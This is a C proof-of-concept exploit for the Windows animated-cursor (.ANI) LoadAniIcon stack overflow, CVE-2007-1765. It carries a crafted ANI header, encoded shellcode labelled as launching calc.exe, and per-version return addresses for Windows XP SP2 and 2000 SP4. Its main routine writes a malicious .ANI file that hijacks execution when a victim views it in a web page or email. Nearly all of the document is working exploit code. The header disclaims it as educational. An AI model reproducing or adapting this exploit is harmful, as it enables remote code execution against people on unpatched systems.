/* * Copyright (c) 2007 devcode * * * ^^ D E V C O D E ^^ * * Windows .ANI LoadAniIcon Stack Overflow * [CVE-2007-1765] * * * Description: * A vulnerability has been identified in Microsoft Windows, * which could be exploited by remote attackers to take complete * control of an affected system. This issue is due to a stack overflow * error within the "LoadAniIcon()" [user32.dll] function when rendering * cursors, animated cursors or icons with a malformed header, which could * be exploited by remote attackers to execute arbitrary commands by * tricking a user into visiting a malicious web page or viewing an email * message containing a specially crafted ANI file. * * Hotfix/Patch: * None as of this time. * * Vulnerable systems: * Microsoft Windows 2000 Service Pack 4 * Microsoft Windows XP Service Pack 2 * Microsoft Windows XP 64-Bit Edition version 2003 (Itanium) * Microsoft Windows XP Professional x64 Edition * Microsoft Windows Server 2003 * Microsoft Windows Server 2003 (Itanium) * Microsoft Windows Server 2003 Service Pack 1 * Microsoft Windows Server 2003 Service Pack 1 (Itanium) * Microsoft Windows Server 2003 x64 Edition * Microsoft Windows Vista * * Microsoft Internet Explorer 6 * Microsoft Internet Explorer 7 * * This is a PoC and was created for educational purposes only. The * author is not held responsible if this PoC does not work or is * used for any other purposes than the one stated above. * * Notes: * For this to work on XP SP2 on explorer.exe, DEP has to be turned * off. * */ #include /* ANI Header */ unsigned char uszAniHeader[] = "\x52\x49\x46\x46\x00\x04\x00\x00\x41\x43\x4F\x4E\x61\x6E\x69\x68" "\x24\x00\x00\x00\x24\x00\x00\x00\xFF\xFF\x00\x00\x0A\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x10\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00" "\x10\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00\x02\x02\x02\x02" "\x61\x6E\x69\x68\xA8\x03\x00\x00"; /* Shellcode - metasploit exec calc.exe ^^ */ unsigned char uszShellcode[] = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x51\x5a\x6a\x42" "\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\x52\x32\x41\x42\x41\x32" "\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x38\x69\x79\x6c\x4a" "\x48\x67\x34\x47\x70\x77\x70\x53\x30\x6e\x6b\x67\x35\x45\x6c\x4c" "\x4b\x73\x4c\x74\x45\x31\x68\x54\x41\x68\x6f\x6c\x4b\x70\x4f\x57" "\x68\x6e\x6b\x71\x4f\x45\x70\x65\x51\x5a\x4b\x67\x39\x4c\x4b\x50" "\x34\x4c\x4b\x77\x71\x68\x6e\x75\x61\x4b\x70\x4e\x79\x6e\x4c\x4d" "\x54\x4b\x70\x72\x54\x65\x57\x69\x51\x49\x5a\x46\x6d\x37\x71\x6f" "\x32\x4a\x4b\x58\x74\x77\x4b\x41\x44\x44\x64\x35\x54\x72\x55\x7a" "\x45\x6c\x4b\x53\x6f\x51\x34\x37\x71\x48\x6b\x51\x76\x4c\x4b\x76" "\x6c\x50\x4b\x6e\x6b\x71\x4f\x67\x6c\x37\x71\x68\x6b\x4c\x4b\x65" "\x4c\x4c\x4b\x64\x41\x58\x6b\x4b\x39\x53\x6c\x75\x74\x46\x64\x78" "\x43\x74\x71\x49\x50\x30\x64\x6e\x6b\x43\x70\x44\x70\x4c\x45\x4f" "\x30\x41\x68\x44\x4c\x4e\x6b\x63\x70\x44\x4c\x6e\x6b\x30\x70\x65" "\x4c\x4e\x4d\x6c\x4b\x30\x68\x75\x58\x7a\x4b\x35\x59\x4c\x4b\x4d" "\x50\x58\x30\x37\x70\x47\x70\x77\x70\x6c\x4b\x65\x38\x57\x4c\x31" "\x4f\x66\x51\x48\x76\x65\x30\x70\x56\x4d\x59\x4a\x58\x6e\x63\x69" "\x50\x31\x6b\x76\x30\x55\x38\x5a\x50\x4e\x6a\x36\x64\x63\x6f\x61" "\x78\x6a\x38\x4b\x4e\x6c\x4a\x54\x4e\x76\x37\x6b\x4f\x4b\x57\x70" "\x63\x51\x71\x32\x4c\x52\x43\x37\x70\x42"; char szIntro[] = "\n\t\tWindows .ANI LoadAniIcon Stack Overflow\n" "\t\t\tdevcode (c) 2007\n" "[+] Targets:\n" "\tWindows XP SP2 [0]\n" "\tWindows 2K SP4 [1]\n\n" "Usage: ani.exe "; typedef struct { const char *szTarget; unsigned char uszRet[5]; } TARGET; TARGET targets[] = { { "Windows XP SP2", "\xC9\x29\xD4\x77" }, /* call esp */ { "Windows 2K SP4", "\x29\x4C\xE1\x77" } }; int main( int argc, char **argv ) { char szBuffer[1024]; FILE *f; if ( argc < 3 ) { printf("%s\n", szIntro ); return 0; } printf("[+] Creating ANI header...\n"); memset( szBuffer, 0x90, sizeof( szBuffer ) ); memcpy( szBuffer, uszAniHeader, sizeof( uszAniHeader ) - 1 ); printf("[+] Copying shellcode...\n"); memcpy( szBuffer + 168, targets[atoi( argv[1] )].uszRet, 4 ); memcpy( szBuffer + 192, uszShellcode, sizeof( uszShellcode ) - 1 ); printf("%s\n", argv[2] ); f = fopen( argv[2], "wb" ); if ( f == NULL ) { printf("[-] Cannot create file\n"); return 0; } fwrite( szBuffer, 1, 1024, f ); fclose( f ); printf("[+] .ANI file succesfully created!\n"); return 0; }